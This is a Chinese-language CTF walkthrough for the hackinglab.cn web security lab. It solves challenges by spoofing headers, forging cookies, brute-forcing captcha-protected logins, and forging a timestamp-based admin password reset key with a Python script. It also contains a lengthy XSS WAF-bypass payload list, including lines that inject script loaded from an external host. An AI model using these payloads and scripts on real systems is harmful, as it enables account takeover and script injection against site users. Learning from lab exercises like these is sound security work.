hackinglab基础关
hackinglab网址:网络安全实验室|网络信息安全攻防学习平台 (hackinglab.cn)
使用的抓包软件为:BurpSuite
BurpSuite安装教程
至于使用教程太多了,而且我觉得讲的都不是很清楚,所以就不放链接了自己找。
第一题-key就在这里中,你能找到他吗?
过关地址:http://lab1.xseclab.com/base1_4a4d993ed7bd7d467b27af52d2aaa800/index.php
key就在这里中,你能找到他吗?
按F12直接看就找到了
第二题-再加密一次你就得到key啦~
再加密一次你就得到key啦~
分值:150
加密之后的数据为xrlvf23xfqwsxsqf
这是凯撒加密,位移13位得到
第三题-猜猜这是经过了多少次加密?
猜猜这是经过了多少次加密?
分值:200
加密后的字符串为:—太长了,略—
这题最后有个=,推测是base64编码,题目说猜猜经过了多少次加密,那应该是很多次,经过多次解密,最后解出答案。由于涉及多次解码,可以编写程序进行解码,也可以手动进行。
第四题-据说MD5加密很安全,真的是么?
据说MD5加密很安全,真的是么?
分值:200
e0960851294d7b2253978ba858e24633
直接MD5解密即可
MD5解密网址:md5在线解密破解,md5解密加密 (cmd5.com)
第五题-种族歧视
种族歧视
分值:300
小明同学今天访问了一个网站,竟然不允许中国人访问!太坑了,于是小明同学决心一定要进去一探究竟!
通关地址:http://lab1.xseclab.com/base1_0ef337f3afbe42d5619d7a36c19c20ab/index.php
使用抓包软件(Burp Suite)修改Accept-Language,直接把后面的删掉,或者严谨一点,改成Accept-Language: en-US,en;q=0.8
第六题-HAHA浏览器
HAHA浏览器
分值:200
据说信息安全小组最近出了一款新的浏览器,叫HAHA浏览器,有些题目必须通过HAHA浏览器才能答对。小明同学坚决不要装HAHA浏览器,怕有后门,但是如何才能过这个需要安装HAHA浏览器才能过的题目呢?
通关地址:http://lab1.xseclab.com/base6_6082c908819e105c378eb93b6631c4d3/index.php
只允许使用HAHA浏览器,请下载HAHA浏览器访问!
修改User-Agent 的值,改为HAHA
第七题-key究竟在哪里呢?
key究竟在哪里呢?
分值:200
上一次小明同学轻松找到了key,感觉这么简单的题目多无聊,于是有了找key的加强版,那么key这次会藏在哪里呢?
通关地址:http://lab1.xseclab.com/base7_eb68bd2f0d762faf70c89799b3c1cc52/index.php
Key就在这里,猜猜这里是哪里呢?(Web找key加强版)
这次F12里面就找不到了,抓包之后发现在response header里面
第八题-key又找不到了
key又找不到了
分值:350
小明这次可真找不到key去哪里了,你能帮他找到key吗?
通关地址:http://lab1.xseclab.com/base8_0abd63aa54bef0464289d6a42465f354/index.php
进入之后有这样一个页面:到这里找key_ ,我们F12查看一下,发现点击“到这里找key”后,原本应该进入search_key.php页面,但是实际上进去的是index_no_key.php页面
点击进入这个页面之后就变成了这样这里的关键点在a标签里面,本来应该跳转过去正确的页面的,但是跳转后页面不对,可知发生了重定向。让网页跳转到index_no_key.php这个网页,所以我们直接访问http://hacklist.sinaapp.com/base8_0abd63aa54bef0464289d6a42465f354/key_is_here_now_.php 就可以得到正确的key了 。
第九题-冒充登陆用户
冒充登陆用户
分值:200
小明来到一个网站,还是想要key,但是却怎么逗登陆不了,你能帮他登陆吗?
通关地址:http://lab1.xseclab.com/base9_ab629d778e3a29540dfd60f2e548a5eb/index.php
看到题目是冒充登陆用户,考虑应该是用到cookie。我们进行抓包,发现在响应中cookie中有线索,在cookie中有个Login=0,我们推测将它改为1即可登陆了。于是我们将请求中加一句Cookie: Login=1
这样加就行了
第十题-比较数字大小
比较数字大小
分值:100
只要比服务器上的数字大就可以了!
通关地址:http://lab1.xseclab.com/base10_0b4e4866096913ac9c3a2272dde27215/index.php
我们注意到这里对框内的输入做了限制,导致我们无法输入很大的数(最大只能输入三位数,即999),可以按F12直接找到JavaScript把maxlength改掉,随便改成一大数即可。或者抓包,把数据改成大的数再发送也是可以的。
第十一题-本地的诱惑
本地的诱惑
分值:200
小明扫描了他心爱的小红的电脑,发现开放了一个80端口,但是当小明去访问的时候却发现只允许从本地访问,可他心爱的小红不敢让这个诡异的小明触碰她的电脑,可小明真的想知道小红电脑的80端口到底隐藏着什么秘密(key)?
通关地址:http://lab1.xseclab.com/base11_0f8e35973f552d69a02047694c27a8c9/index.php
网页内容:必须从本地访问
网站判断用户的ip是通过x-forwarded-for来判断的,在request中增加参数:x-forwarded-for:127.0.0.1,得到key:^&*(UIHKJjkadshf
不过在我做的时候该题出现了问题,于是网站把key直接给出了
第十二题-就不让你访问
就不让你访问
分值:150
小明设计了一个网站,因为总是遭受黑客攻击后台,所以这次他把后台放到了一个无论是什么人都找不到的地方…可最后还是被黑客找到了,并被放置了一个黑页,写到:find you ,no more than 3 secs!
通关地址:http://lab1.xseclab.com/base12_44f0d8a96eed21afdc4823a0bf1a316b/index.php
我们点进去后发现网页内容:I am index.php , I am not the admin page ,key is in admin page.
这里考察的是robots.txt的知识,robots协议也叫robots.txt(统一小写)是一种存放于网站根目录下的ASCII编码的文本文件,它通常告诉网络搜索引擎的漫游器(又称网络蜘蛛),此网站中的哪些内容是不应被搜索引擎的漫游器获取的,哪些是可以被漫游器获取的。
在浏览器中输入链接:
http://lab1.xseclab.com/base12_44f0d8a96eed21afdc4823a0bf1a316b/robots.txt
这里表示不允许访问/9fb97531fe95594603aff7e794ab2f5f/,于是我们就访问他继续输入链接:
http://lab1.xseclab.com/base12_44f0d8a96eed21afdc4823a0bf1a316b/9fb97531fe95594603aff7e794ab2f5f/
打开之后网页内容为:you find me,but I am not the login page. keep search.
这里有个提示:login page,那么试试/login.php就成功了。
hackinglab脚本关
第一题-key又又找不到了
key又又找不到了
分值: 200
小明这次哭了,key又找不到了!!! key啊,你究竟藏到了哪里,为什么我看到的页面上都没有啊!!!!!!
通关地址:lab1.xseclab.com/xss1_30ac8668cd453e7e387c76b132b140bb/index.php
我们抓包查看,发现有a的标签,于是进入,果然key藏在网页里面
第二题-快速口算
快速口算
分值: 350
小明要参加一个高技能比赛,要求每个人都要能够快速口算四则运算,2秒钟之内就能够得到结果,但是小明就是一个小学生没有经过特殊的培训,那小明能否通过快速口算测验呢?
通关地址 :http://lab1.xseclab.com/xss2_0d557e6d2a4ac08b749b61473a075be1/index.php
这题考验写脚本的能力,需要我们编写一个python脚本
import requests import re url='http://lab1.xseclab.com/xss2_0d557e6d2a4ac08b749b61473a075be1/index.php' s= requests.Session() r=s.get(url) r.encoding='utf-8' print(r.text) num=re.findall(re.compile(r'<br/>\s+(.*?)='),r.text)[0] result=eval(num) r=s.post(url,data={'v': eval(num)}) print (r.text)
第三题-这个题目是空的
这个题目是空的
分值: 100
Tips:这个题目真不是随便设置的。 什么才是空的呢? 通关地址:没有,请直接提交答案(小写即可)
这题考验基本的编程知识,空值是NUll于是我们输入null即可
第四题-怎么就是不弹出key呢?
怎么就是不弹出key呢?
分值: 150
提交说明:提交前14个字符即可过关
通关地址:http://lab1.xseclab.com/xss3_5dcdde90bbe55087eb3514405972b1a6/index.php
这里我们看到里面的代码,我们应该要的是下面那个函数,但是上面那个函数返回了false,我们不想要他
于是我们ctrl+s保存下这个页面,篡改代码,再打开
于是就弹出了key
第五题-逗比验证码第一期
逗比验证码第一期
分值: 100
逗比的验证码,有没有难道不一样吗?
通关地址:http://lab1.xseclab.com/vcode1_bcfef7eacf7badc64aaf18844cdb1c46/index.php
这里需要输入用户名、密码、验证码进行登录,这一关的验证码是可以重复使用的,因此我们可以使用Burp Suite的暴力破解功能
1.首先我们随便输入password,输入正确的验证码登入并抓包。仅仅对密码进行爆破
2.由于提示了登陆密码是4位纯数字数,第一位不为0,为了快速解决我们使用脚本生成字典
f = open("pwd.txt", "w+") for i in range(1, 10, 1): for j in range(0, 10, 1): for t in range(0, 10, 1): for k in range(0, 10, 1): pwd = "{0}{1}{2}{3}\n".format(i, j, t, k) f.write(pwd) f.close()
3.我们选择攻击载荷发现攻击完成,1238就是密码
第六题-逗比验证码第二期
逗比验证码第二期
分值: 150
验证便失效的验证码
通关地址:http://lab1.xseclab.com/vcode2_a6e6bac0b47c8187b09deb20babc0e85/index.php
程序猿:“该死的黑客,我让你绕!我验证一次就让你的验证码失效,看你怎么绕!”
Tips:密码是4位数字,首位不是0这里验证码只能验证一次,来阻止爆破密码,但是我们发现如果把验证码值删除为空是可以继续爆破的
第七题-逗比的验证码第三期(SESSION)
逗比的验证码第三期(SESSION)
分值: 150
尼玛,验证码怎么可以这样逗比。。
验证码做成这样,你家里人知道吗?
通关地址:http://lab1.xseclab.com/vcode3_9d1ea7ad52ad93c04a837e0808b17097/index.php
程序猿:“该死的黑客,我让你绕!我验证一次就让你的验证码失效,看你怎么绕!”
Tips:密码是4位数字,首位不是0
Tips2: SESSION这题提示了SESSION ,验证码加密后储存在session,验证码图片被动更新, session 和 cookie 也就跟着变了。但是题解使用上一题的方式一样的能出来。
第八题-微笑一下就能过关了
微笑一下就能过关了
分值: 150
尼玛,碰到这样的题我能笑得出来嘛…
通关地址:http://lab1.xseclab.com/base13_ead1b12e47ec7cc5390303831b779d47/index.php
这题首先在响应代码中并未发现有用信息,于是我们推测源代码中也许有机会,但是我们仔细看会发现里面有一个a标签给了源代码
我们进入源代码发现可能想要(●’◡’●)这样的微笑,于是我们给它
代码审计 (1)对^_^进行赋值,但是值中不能有_ (2)不可以包含“.”、“%”、“0-9的数字”、“%”、“http”、“https”、“ftp”、“telnet”、“%” (3)不可以存在文件,但文件的内容要是(●’◡’●) 方法一:使用query string的知识构造 http://lab1.xseclab.com/base13_ead1b12e47ec7cc5390303831b779d47/?^.^=data://text/plain;charset=unicode,(●'◡'●) 方法二:把 _ url编码了payload:/index.php?^%5f^=data:,(●'◡'●) 这两种方法都涉及我的知识盲区
第九题-逗比的手机验证码
逗比的手机验证码
分值: 150
你的手机号码是13388886666,验证码将会以弹窗的形式给出
通关地址:http://lab1.xseclab.com/vcode5_mobi_5773f3def9f77f439e058894cefc42a8/
页面如下
这题我们点击获取验证码后会给你验证码,但是点击提交之后会显示:please login as 13388886667,让我们用另一个手机号登录。于是我们用另一个手机号登录,并且使用这个验证码就行了。
第十题-基情燃烧的岁月
基情燃烧的岁月
分值: 150
Tips:你是一名黑客,你怀疑你的“(男/女)闺蜜”的出轨了,你要登陆TA手机的网上营业厅查看详单,一探究竟! 闺蜜手机号码:13388886666
通关地址:http://lab1.xseclab.com/vcode6_mobi_b46772933eb4c8b5175c67dbc44d8901/
我们进入地址发现需要暴力破甲验证码
注意:这里我们要将获取验证码和提交都抓包,先发送获取验证码再对提交内容进行爆破。直接对提交内容进行爆破是没用的。
继续对13399999999爆破就可以得到flag
第十一题-验证码识别
验证码识别
分值: 350
验证码识别
Tips:验证码依然是3位数
通关地址:http://lab1.xseclab.com/vcode7_f7947d56f22133dbc85dda4f28530268/index.php
该题页面如下
这题很麻烦,图片验证码应该是一次性的,既当每次登陆请求到达后台验证逻辑时,之前的图片验证码就会过期。如果想利用暴破手段来强行登陆的话,每次访问登陆请求之前需要先访问一下获取图片验证码的请求。
参考文章:
https://blog.csdn.net/u013250169/article/details/117327602
第十二题-XSS基础关
XSS基础关
分值: 50
XSS基础:很容易就可以过关.XSS类题目必须在平台登录才能进行.登录地址请参考左侧<子系统>
通关地址:http://lab1.xseclab.com/realxss1_f123c17dd9c363334670101779193998/index.php
注意:做该类题目必须平台登录才行
我们进去后发现可以输入,并且我们输入什么就显示什么,可能是dom型XSS
我们查看源代码,发现似乎想让让我们弹出alert
由于这里给出了提示,使用alert(HackingLab),于是我们只要在输入框使用即可
第十三题-XSS基础2:简单绕过
XSS基础2:简单绕过
分值: 100
很容易就可以过关.
通关地址:http://lab1.xseclab.com/realxss2_bcedaba7e8618cdfb51178765060fc7d/index.php
我们首先按照上一关那样试一试
显示有XSS检测过滤,应该是只针对script进行了过滤。
现在换一种XSS注入方式,输入:hello<img src=0 οnerrοr=“alert(HackingLab)” />然后提交,显示:key is: xss2test2you
使用类似<input/οnfοcus==alert,(HackingLab)>这样的也可以
第十四题-XSS基础3:检测与构造
XSS基础3:检测与构造
分值: 130
XSS基础3:检测与构造
Tips:不是很难
通关地址:http://lab1.xseclab.com/realxss3_9b28b0ff93d0b0099f5ac7f8bad3f368/index.php
这题的区别在于,所输入的内容是放在input标签里面的,属于恶意数据出现在普通属性内
我们尝试逃脱标签
发现逃脱失败,内容原原本本的呈现了出来,然后我怎么做的,我忘了。看别人的答案去吧。
第十五题-Principle很重要的XSS
Principle很重要的XSS
分值: 300
原理/原则/理念很重要…不是所有的xss都叫特仑苏… _
Take it easy!
通关地址:http://lab1.xseclab.com/realxss4_9bc1559999a87a9e0968ad1d546dfe33/index.php
XXS防御以及绕过的几种方式
1.不设防御——经典测试
<script>alert(1)</script>
2.小写script替换——大写绕过
<SCRIPT>alert(1)</SCRIPT>
3.script替换——双写绕过
<scr<script>ipt>alert(1)</script>
4.script替换——其他标签
<img src = 1 onerror = alert(HackingLab)>
5.当源代码中含有htmlspecialchars时,会把预定的<,>,&等符号转换为HTML实体(<等)就会解析为字符串,无法解析为html语言。
弹窗关键字检测绕过
基本WAF都针对常用的弹窗函数做了拦截,如alert()、prompt()、confirm(),另外还有代码执行函数eval(),想要绕过去也比较简单,我们以alert(‘xss’)为例,其实只需要分割alert和()即可,例如:
添加空格、TAB、回车、换行:alert%20(/xss/)、alert%0A(/xss/)、alert%0D(/xss/)、alert%09(/xss/)
添加多行注释:alert/*abcd*/(/xss/)
添加注释换行:alert//abcd%0A(/xss/)、confirm//abcd%0D(/xss/)
使用''代替():alert'xss'
使用括号分割:(alert)(/xss/)、((alert))(/xss/)
使用window和top:
<img src=x onerror="window['al'+'ert'](0)"></img>
<img src=x onerror="window.alert(0)"></img>
<img src=x onerror="top['al'+'ert'](0)"></img>
<img src=x onerror="top.alert(0)"></img>
<input/onfocus=_=alert,_(HackingLab)>
<input/onfocus=_=alert,xx=1,_(123)>
<input/onfocus=_=alert;_(123)>
<input/onfocus=_=alert;xx=1;_(123)>
<input/onfocus=_=window['alert'],_(123)>
<input/onfocus=_=window.alert,_(123)>
通过异常处理:
<svg/onload="window.onerror=eval;throw'=alert\x281\x29';">
eval(string)参数为字符串,可以拼接关键字绕过检测。
<svg/onload=eval('ale'+'rt(1)')>
跳转中使用关键字拼接
<svg/onload=location='javas'+'cript:ale'+'rt(1)'>
<svg/onload=window.location='javas'+'cript:ale'+'rt(1)'>
<svg/onload=location.href='javas'+'cript:ale'+'rt(1)'>
<svg/onload=window.open('javas'+'cript:ale'+'rt(1)')>
<svg/onload=location='javas'.concat('cript:ale','rt(1)')>
编码绕过
html实体编码
<iframe src=javascript:alert(1)> //自动触发
十进制:
<iframe src=javascript:alert(1)>
十六进制:
<iframe src=javascript:alert(1
URl编码
<a href="javascript:%61%6c%65%72%74%28%31%29">xx</a>
<iframe src="javascript:%61%6c%65%72%74%28%31%29"></iframe>
Unicode编码
<input onfocus=location="javascript:\u0061\u006C\u0065\u0072\u0074\u0028\u0031\u0029" autofocus>
<input onfocus=\u0061\u006C\u0065\u0072\u0074(1) autofocus>
有的WAF拦截了eval()同样可以使用上面提到的alert()绕过的方式,如注释、注释换行等
同样也可以使用window[‘eval’]
1.<script>window['eval']("\x61\x6C\x65\x72\x74\x28\x31\x29")</script>
2.<script>window['eval']("\141\154\145\162\164\050\061\051")</script>
3.<script>window['eval']("\u0061\u006C\u0065\u0072\u0074\u0028\u0031\u0029")</script>
Base64编码
<a href="data:text/html;base64, PGltZyBzcmM9eCBvbmVycm9yPWFsZXJ0KDEpPg==">test</a>
<iframe src="data:text/html;base64, PGltZyBzcmM9eCBvbmVycm9yPWFsZXJ0KDEpPg=="></iframe>
引入外部JS
通过在<script>标签中引入其他字符绕过
1.<script/src='1.js'/~~234*234></script ~~234*234>
2.οnfοcus='a=document.createElement("script");a.src="http://x.x.x.x";body.appendChild(a);'
3.οnfοcus='a=document.createElement("scr"+"ipt");a.src="http://x.x.x.x";body.appendChild(a);' //拆分关键字
4. //SSI
5.<link%20rel=import%20href="2.js">
相关知识点补充
/(单斜杆) 在html标签中相当于空格
<iframe/sr/c=javascript:alert(1)>
浏览器中相当于:
<iframe sr c=javascript:alert(1)>
//(注释单行)是JS的注释标签;
(//)到后面第一个(>)之间的字符都会被注释掉
<svg/onload=s=createElement('script');body.appendChild(s);s.src='js地址'//<p>123</p>效果就是<p被注释掉
οnclick='document.getElementById(“msg”).innerHTML=String.fromCharCode(60,105,110,112,117,116,32,116,121,112,101,61,34,98,117,116,116,111,110,34,32,111,110,99,108,105,99,107,61,34,97,108,101,114,116,40,72,97,99,107,105,110,103,76,97,98,41,34,32,118,97,108,117,101,61,34,99,108,105,99,107,32,109,101,34,32,47,62)
hackinglab注入关
注入关因为网站数据库的原因无法做了
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-lNgP07um-1659149205586)(C:\Users\SuZhe\Documents\MD文档\CTF\image-20220725103514271.png)]
hackinglab上传关
我们查看源码发现是前端JavaScript解析了文件名,我们改一改后缀名就可以了,
hackinglab解密关
以管理员身份登录系统
分值: 450
以管理员身份登录即可获取通关密码(重置即可,无需登录)
通关地址
通关博客:[(4条消息) CTF 网络安全实验室] [解密关第1题]_沙之夏的博客-CSDN博客_ctf解密题
补充说明:假设除了admin用户,其它用户的邮箱都可被登录获取重置密码的链接。
当进入忘记页码界面,点击重置密码时,会根据当前时间戳生成sukey值,尔后重置密码时会验证sukey值与username,当然,cookies也很有可能加入验证,那么只要在忘记密码页面输入admin,并且点击重置密码,服务器就会生成相应的sukey,我们可以根据当前系统时间,自己伪造出sukey,然后使用自己生成的sukey,向reset.php发送访问请求,理论上就能重置admin密码。
也就是说,咱们要访问的网址是http://lab1.xseclab.com/password1_dc178aa12e73cfc184676a4100e07dac/reset.php 然后后面应该带上伪造出的sukey和username。由于这个sukey是根据时间实时出现的,所以应该使用脚本语言去进行破解
import requests
import time
import hashlib
url = 'http://lab1.xseclab.com/password1_dc178aa12e73cfc184676a4100e07dac/resetpassword.php'
data = {
'username': 'admin',
}
session =requests.session()
session.post(url,data)
date = str(int(time.time()))
md5 = hashlib.md5()
md5.update(date.encode('utf-8'))
sukey = md5.hexdigest()
url = 'http://lab1.xseclab.com/password1_dc178aa12e73cfc184676a4100e07dac/reset.php?sukey='+sukey+'&username=admin'
page = session.get(url).text
print(page)